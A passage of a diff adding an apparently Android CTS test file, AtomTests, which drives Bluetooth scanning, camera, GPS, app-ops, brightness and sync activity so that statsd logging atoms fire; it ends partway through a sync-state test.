+import android.bluetooth.le.BluetoothLeScanner;
+import android.bluetooth.le.ScanCallback;
+import android.bluetooth.le.ScanFilter;
+import android.bluetooth.le.ScanResult;
+import android.bluetooth.le.ScanSettings;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.location.GnssStatus;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.media.MediaPlayer;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.cts.util.CtsNetUtils;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiNetworkSuggestion;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.PowerManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.provider.Settings;
+import android.text.TextUtils;
+import android.util.ArrayMap;
+import android.util.Log;
+import android.util.StatsEvent;
+import android.util.StatsLog;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.Test;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BiConsumer;
+
+public class AtomTests {
+    private static final String TAG = AtomTests.class.getSimpleName();
+
+    private static final String MY_PACKAGE_NAME = "com.android.server.cts.device.statsdatom";
+
+    private static final Map<String, Integer> APP_OPS_ENUM_MAP = new ArrayMap<>();
+    static {
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_COARSE_LOCATION, 0);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_FINE_LOCATION, 1);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GPS, 2);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_VIBRATE, 3);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CONTACTS, 4);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CONTACTS, 5);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALL_LOG, 6);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALL_LOG, 7);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALENDAR, 8);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALENDAR, 9);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WIFI_SCAN, 10);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_POST_NOTIFICATION, 11);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NEIGHBORING_CELLS, 12);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CALL_PHONE, 13);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_SMS, 14);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SMS, 15);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_SMS, 16);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_EMERGENCY_BROADCAST, 17);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_MMS, 18);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_WAP_PUSH, 19);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SEND_SMS, 20);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_ICC_SMS, 21);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_ICC_SMS, 22);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SETTINGS, 23);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW, 24);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_NOTIFICATIONS, 25);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CAMERA, 26);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO, 27);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PLAY_AUDIO, 28);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CLIPBOARD, 29);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CLIPBOARD, 30);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_MEDIA_BUTTONS, 31);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_AUDIO_FOCUS, 32);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MASTER_VOLUME, 33);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_VOICE_VOLUME, 34);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_RING_VOLUME, 35);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MEDIA_VOLUME, 36);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ALARM_VOLUME, 37);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_NOTIFICATION_VOLUME, 38);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_BLUETOOTH_VOLUME, 39);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WAKE_LOCK, 40);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_LOCATION, 41);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_HIGH_POWER_LOCATION, 42);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_USAGE_STATS, 43);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MUTE_MICROPHONE, 44);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TOAST_WINDOW, 45);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROJECT_MEDIA, 46);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_VPN, 47);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_WALLPAPER, 48);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_STRUCTURE, 49);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_SCREENSHOT, 50);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_STATE, 51);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ADD_VOICEMAIL, 52);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_SIP, 53);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROCESS_OUTGOING_CALLS, 54);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_FINGERPRINT, 55);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BODY_SENSORS, 56);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CELL_BROADCASTS, 57);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MOCK_LOCATION, 58);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, 59);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, 60);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TURN_SCREEN_ON, 61);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_ACCOUNTS, 62);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_IN_BACKGROUND, 63);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ACCESSIBILITY_VOLUME, 64);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_NUMBERS, 65);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_INSTALL_PACKAGES, 66);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PICTURE_IN_PICTURE, 67);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INSTANT_APP_START_FOREGROUND, 68);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ANSWER_PHONE_CALLS, 69);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_ANY_IN_BACKGROUND, 70);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CHANGE_WIFI_STATE, 71);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_DELETE_PACKAGES, 72);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BIND_ACCESSIBILITY_SERVICE, 73);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCEPT_HANDOVER, 74);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_IPSEC_TUNNELS, 75);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_START_FOREGROUND, 76);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_SCAN, 77);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_BIOMETRIC, 78);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION, 79);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SMS_FINANCIAL_TRANSACTIONS, 80);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_AUDIO, 81);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_AUDIO, 82);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_VIDEO, 83);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, 84);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_IMAGES, 85);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, 86);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LEGACY_STORAGE, 87);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY, 88);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_DEVICE_IDENTIFIERS, 89);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_MEDIA_LOCATION, 90);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_QUERY_ALL_PACKAGES, 91);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_EXTERNAL_STORAGE, 92);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES, 93);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_PLATFORM_VPN, 94);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LOADER_USAGE_STATS, 95);
+        // Op 96 was deprecated/removed
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_MICROPHONE, 100);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_CAMERA, 101);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_HOTWORD, 102);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_CREDENTIALS, 104);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER, 105);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_OUTPUT, 106);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SCHEDULE_EXACT_ALARM, 107);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_FINE_LOCATION_SOURCE, 108);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_COARSE_LOCATION_SOURCE, 109);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_MEDIA, 110);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_CONNECT, 111);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_UWB_RANGING, 112);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION_SOURCE, 113);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_ADVERTISE, 114);
+    }
+
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    @Test
+    // Start the isolated service, which logs an AppBreadcrumbReported atom, and then exit.
+    public void testIsolatedProcessService() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        Intent intent = new Intent(context, IsolatedProcessService.class);
+        context.startService(intent);
+        sleep(2_000);
+        context.stopService(intent);
+    }
+
+    @Test
+    public void testAudioState() {
+        // TODO: This should surely be getTargetContext(), here and everywhere, but test first.
+        Context context = InstrumentationRegistry.getContext();
+        MediaPlayer mediaPlayer = MediaPlayer.create(context, R.raw.good);
+        mediaPlayer.start();
+        sleep(2_000);
+        mediaPlayer.stop();
+    }
+
+    @Test
+    public void testBleScanOpportunistic() {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
+        performBleScan(scanSettings, null,false);
+    }
+
+    @Test
+    public void testBleScanUnoptimized() {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        performBleScan(scanSettings, null, false);
+    }
+
+    @Test
+    public void testBleScanResult() {
+        ScanSettings scanSettings = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        ScanFilter.Builder scanFilter = new ScanFilter.Builder();
+        performBleScan(scanSettings, Arrays.asList(scanFilter.build()), true);
+    }
+
+    @Test
+    public void testBleScanInterrupted() throws Exception {
+        performBleAction((bluetoothAdapter, bleScanner) -> {
+            ScanSettings scanSettings = new ScanSettings.Builder()
+                    .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+            ScanCallback scanCallback = new ScanCallback() {
+                @Override
+                public void onScanResult(int callbackType, ScanResult result) {
+                    Log.v(TAG, "called onScanResult");
+                }
+                @Override
+                public void onScanFailed(int errorCode) {
+                    Log.v(TAG, "called onScanFailed");
+                }
+                @Override
+                public void onBatchScanResults(List<ScanResult> results) {
+                    Log.v(TAG, "called onBatchScanResults");
+                }
+            };
+
+            int uid = Process.myUid();
+            int whatAtomId = 9_999;
+
+            // Get the current setting for bluetooth background scanning.
+            // Set to 0 if the setting is not found or an error occurs.
+            int initialBleScanGlobalSetting = Settings.Global.getInt(
+                    InstrumentationRegistry.getTargetContext().getContentResolver(),
+                    Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
+
+            // Turn off bluetooth background scanning.
+            Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
+                    Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
+
+            // Change state to State.ON.
+            bleScanner.startScan(null, scanSettings, scanCallback);
+            sleep(6_000);
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+
+            bluetoothAdapter.disable();
+            sleep(6_000);
+
+            // Trigger State.RESET so that new state is State.OFF.
+            if (!bluetoothAdapter.enable()) {
+                Log.e(TAG, "Could not enable bluetooth to trigger state reset");
+                return;
+            }
+            sleep(6_000); // Wait for Bluetooth to fully turn on.
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+            writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
+
+            // Set bluetooth background scanning to original setting.
+            Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
+                    Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, initialBleScanGlobalSetting);
+        });
+    }
+
+    private static void writeSliceByBleScanStateChangedAtom(int atomId, int firstUid,
+                                                            boolean field2, boolean field3,
+                                                            boolean field4) {
+        final StatsEvent.Builder builder = StatsEvent.newBuilder()
+                .setAtomId(atomId)
+                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
+                .writeBoolean(field2)
+                .writeBoolean(field3)
+                .writeBoolean(field4)
+                .usePooledBuffer();
+
+        StatsLog.write(builder.build());
+    }
+
+    /**
+     * Set up BluetoothLeScanner and perform the action in the callback.
+     * Restore Bluetooth to original state afterwards.
+     **/
+    private static void performBleAction(BiConsumer<BluetoothAdapter, BluetoothLeScanner> actions) {
+        BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
+        if (bluetoothAdapter == null) {
+            Log.e(TAG, "Device does not support Bluetooth");
+            return;
+        }
+        boolean bluetoothEnabledByTest = false;
+        if (!bluetoothAdapter.isEnabled()) {
+            if (!bluetoothAdapter.enable()) {
+                Log.e(TAG, "Bluetooth is not enabled");
+                return;
+            }
+            sleep(2_000); // Wait for Bluetooth to fully turn on.
+            bluetoothEnabledByTest = true;
+        }
+        BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
+        if (bleScanner == null) {
+            Log.e(TAG, "Cannot access BLE scanner");
+            return;
+        }
+
+        actions.accept(bluetoothAdapter, bleScanner);
+
+        // Restore adapter state
+        if (bluetoothEnabledByTest) {
+            bluetoothAdapter.disable();
+        }
+    }
+
+
+    private static void performBleScan(ScanSettings scanSettings, List<ScanFilter> scanFilters, boolean waitForResult) {
+        performBleAction((bluetoothAdapter, bleScanner) -> {
+            CountDownLatch resultsLatch = new CountDownLatch(1);
+            ScanCallback scanCallback = new ScanCallback() {
+                @Override
+                public void onScanResult(int callbackType, ScanResult result) {
+                    Log.v(TAG, "called onScanResult");
+                    resultsLatch.countDown();
+                }
+                @Override
+                public void onScanFailed(int errorCode) {
+                    Log.v(TAG, "called onScanFailed");
+                }
+                @Override
+                public void onBatchScanResults(List<ScanResult> results) {
+                    Log.v(TAG, "called onBatchScanResults");
+                    resultsLatch.countDown();
+                }
+            };
+
+            bleScanner.startScan(scanFilters, scanSettings, scanCallback);
+            if (waitForResult) {
+                waitForReceiver(InstrumentationRegistry.getContext(), 59_000, resultsLatch, null);
+            } else {
+                sleep(2_000);
+            }
+            bleScanner.stopScan(scanCallback);
+        });
+    }
+
+    @Test
+    public void testCameraState() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        CameraManager cam = context.getSystemService(CameraManager.class);
+        String[] cameraIds = cam.getCameraIdList();
+        if (cameraIds.length == 0) {
+            Log.e(TAG, "No camera found on device");
+            return;
+        }
+
+        CountDownLatch latch = new CountDownLatch(1);
+        final CameraDevice.StateCallback cb = new CameraDevice.StateCallback() {
+            @Override
+            public void onOpened(CameraDevice cd) {
+                Log.i(TAG, "CameraDevice " + cd.getId() + " opened");
+                sleep(2_000);
+                cd.close();
+            }
+            @Override
+            public void onClosed(CameraDevice cd) {
+                latch.countDown();
+                Log.i(TAG, "CameraDevice " + cd.getId() + " closed");
+            }
+            @Override
+            public void onDisconnected(CameraDevice cd) {
+                Log.w(TAG, "CameraDevice  " + cd.getId() + " disconnected");
+            }
+            @Override
+            public void onError(CameraDevice cd, int error) {
+                Log.e(TAG, "CameraDevice " + cd.getId() + "had error " + error);
+            }
+        };
+
+        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
+        handlerThread.start();
+        Looper looper = handlerThread.getLooper();
+        Handler handler = new Handler(looper);
+
+        cam.openCamera(cameraIds[0], cb, handler);
+        waitForReceiver(context, 10_000, latch, null);
+    }
+
+    @Test
+    public void testFlashlight() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        CameraManager cam = context.getSystemService(CameraManager.class);
+        String[] cameraIds = cam.getCameraIdList();
+        boolean foundFlash = false;
+        for (int i = 0; i < cameraIds.length; i++) {
+            String id = cameraIds[i];
+            if(cam.getCameraCharacteristics(id).get(CameraCharacteristics.FLASH_INFO_AVAILABLE)) {
+                cam.setTorchMode(id, true);
+                sleep(500);
+                cam.setTorchMode(id, false);
+                foundFlash = true;
+                break;
+            }
+        }
+        if(!foundFlash) {
+            Log.e(TAG, "No flashlight found on device");
+        }
+    }
+
+    @Test
+    public void testForegroundService() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        // The service goes into foreground and exits shortly
+        Intent intent = new Intent(context, StatsdCtsForegroundService.class);
+        context.startService(intent);
+        sleep(500);
+        context.stopService(intent);
+    }
+
+    @Test
+    public void testForegroundServiceAccessAppOp() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        Intent fgsIntent = new Intent(context, StatsdCtsForegroundService.class);
+        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
+
+        // No foreground service session
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
+        sleep(500);
+
+        // Foreground service session 1
+        context.startService(fgsIntent);
+        while (!checkIfServiceRunning(context, StatsdCtsForegroundService.class.getName())) {
+            sleep(50);
+        }
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_FINE_LOCATION);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
+        startAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_RECORD_AUDIO);
+        startAppOp(appOpsManager, AppOpsManager.OPSTR_CAMERA);
+        sleep(500);
+        context.stopService(fgsIntent);
+
+        // No foreground service session
+        noteAppOp(appOpsManager, AppOpsManager.OPSTR_COARSE_LOCATION);
+        sleep(500);
+
+        // TODO(b/149098800): Start fgs a second time and log OPSTR_CAMERA again
+    }
+
+    @Test
+    public void testAppOps() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
+
+        String[] opsList = appOpsManager.getOpStrs();
+
+        for (int i = 0; i < opsList.length; i++) {
+            String op = opsList[i];
+            if (TextUtils.isEmpty(op)) {
+                // Operation removed/deprecated
+                continue;
+            }
+            int noteCount = APP_OPS_ENUM_MAP.getOrDefault(op, opsList.length) + 1;
+            for (int j = 0; j < noteCount; j++) {
+                try {
+                    noteAppOp(appOpsManager, opsList[i]);
+                } catch (SecurityException e) {}
+            }
+        }
+    }
+
+    private void noteAppOp(AppOpsManager aom, String opStr) {
+        aom.noteOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
+    }
+
+    private void startAppOp(AppOpsManager aom, String opStr) {
+        aom.startOp(opStr, android.os.Process.myUid(), MY_PACKAGE_NAME, null, "statsdTest");
+    }
+
+    /** Check if service is running. */
+    public boolean checkIfServiceRunning(Context context, String serviceName) {
+        ActivityManager manager = context.getSystemService(ActivityManager.class);
+        for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
+            if (serviceName.equals(service.service.getClassName()) && service.foreground) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @Test
+    public void testGpsScan() {
+        Context context = InstrumentationRegistry.getContext();
+        final LocationManager locManager = context.getSystemService(LocationManager.class);
+        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
+            Log.e(TAG, "GPS provider is not enabled");
+            return;
+        }
+        CountDownLatch latch = new CountDownLatch(1);
+
+        final LocationListener locListener = new LocationListener() {
+            public void onLocationChanged(Location location) {
+                Log.v(TAG, "onLocationChanged: location has been obtained");
+            }
+            public void onProviderDisabled(String provider) {
+                Log.w(TAG, "onProviderDisabled " + provider);
+            }
+            public void onProviderEnabled(String provider) {
+                Log.w(TAG, "onProviderEnabled " + provider);
+            }
+            public void onStatusChanged(String provider, int status, Bundle extras) {
+                Log.w(TAG, "onStatusChanged " + provider + " " + status);
+            }
+        };
+
+        new AsyncTask<Void, Void, Void>() {
+            @Override
+            protected Void doInBackground(Void... params) {
+                Looper.prepare();
+                locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 990, 0,
+                        locListener);
+                sleep(1_000);
+                locManager.removeUpdates(locListener);
+                latch.countDown();
+                return null;
+            }
+        }.execute();
+
+        waitForReceiver(context, 59_000, latch, null);
+    }
+
+    @Test
+    public void testGpsStatus() {
+        Context context = InstrumentationRegistry.getContext();
+        final LocationManager locManager = context.getSystemService(LocationManager.class);
+
+        if (!locManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
+            Log.e(TAG, "GPS provider is not enabled");
+            return;
+        }
+
+        // Time out set to 85 seconds (5 seconds for sleep and a possible 85 seconds if TTFF takes
+        // max time which would be around 90 seconds.
+        // This is based on similar location cts test timeout values.
+        final int TIMEOUT_IN_MSEC = 85_000;
+        final int SLEEP_TIME_IN_MSEC = 5_000;
+
+        final CountDownLatch mLatchNetwork = new CountDownLatch(1);
+
+        final LocationListener locListener = location -> {
+            Log.v(TAG, "onLocationChanged: location has been obtained");
+            mLatchNetwork.countDown();
+        };
+
+        // fetch the networklocation first to make sure the ttff is not flaky
+        if (locManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
+            Log.i(TAG, "Request Network Location updates.");
+            locManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
+                    0 /* minTime*/,
+                    0 /* minDistance */,
+                    locListener,
+                    Looper.getMainLooper());
+        }
+        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchNetwork, null);
+
+        // TTFF could take up to 90 seconds, thus we need to wait till TTFF does occur if it does
+        // not occur in the first SLEEP_TIME_IN_MSEC
+        final CountDownLatch mLatchTtff = new CountDownLatch(1);
+
+        GnssStatus.Callback gnssStatusCallback = new GnssStatus.Callback() {
+            @Override
+            public void onStarted() {
+                Log.v(TAG, "Gnss Status Listener Started");
+            }
+
+            @Override
+            public void onStopped() {
+                Log.v(TAG, "Gnss Status Listener Stopped");
+            }
+
+            @Override
+            public void onFirstFix(int ttffMillis) {
+                Log.v(TAG, "Gnss Status Listener Received TTFF");
+                mLatchTtff.countDown();
+            }
+
+            @Override
+            public void onSatelliteStatusChanged(GnssStatus status) {
+                Log.v(TAG, "Gnss Status Listener Received Status Update");
+            }
+        };
+
+        boolean gnssStatusCallbackAdded = locManager.registerGnssStatusCallback(
+                gnssStatusCallback, new Handler(Looper.getMainLooper()));
+        if (!gnssStatusCallbackAdded) {
+            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+            Log.e(TAG, "Failed to start gnss status callback");
+        }
+
+        locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
+                0,
+                0 /* minDistance */,
+                locListener,
+                Looper.getMainLooper());
+        sleep(SLEEP_TIME_IN_MSEC);
+        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchTtff, null);
+        locManager.removeUpdates(locListener);
+        locManager.unregisterGnssStatusCallback(gnssStatusCallback);
+    }
+
+    @Test
+    public void testScreenBrightness() {
+        Context context = InstrumentationRegistry.getContext();
+        PowerManager pm = context.getSystemService(PowerManager.class);
+        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK |
+                PowerManager.ACQUIRE_CAUSES_WAKEUP, "StatsdBrightnessTest");
+        wl.acquire();
+        sleep(500);
+
+        setScreenBrightness(47);
+        sleep(500);
+        setScreenBrightness(100);
+        sleep(500);
+        setScreenBrightness(198);
+        sleep(500);
+
+
+        wl.release();
+    }
+
+    @Test
+    public void testSyncState() throws Exception {
+
+        Context context = InstrumentationRegistry.getContext();
+        StatsdAuthenticator.removeAllAccounts(context);
+        AccountManager am = context.getSystemService(AccountManager.class);
+        CountDownLatch latch = StatsdSyncAdapter.resetCountDownLatch();
+
+        Account account = StatsdAuthenticator.getTestAccount();
+        StatsdAuthenticator.ensureTestAccount(context);
